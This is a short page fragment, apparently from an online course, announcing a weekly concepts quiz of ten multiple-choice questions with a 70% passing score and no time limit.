Test your understanding of the weekly concepts.

Format: 10 multiple-choice questions. Passing score: 70%. Time: Untimed.

Take Quiz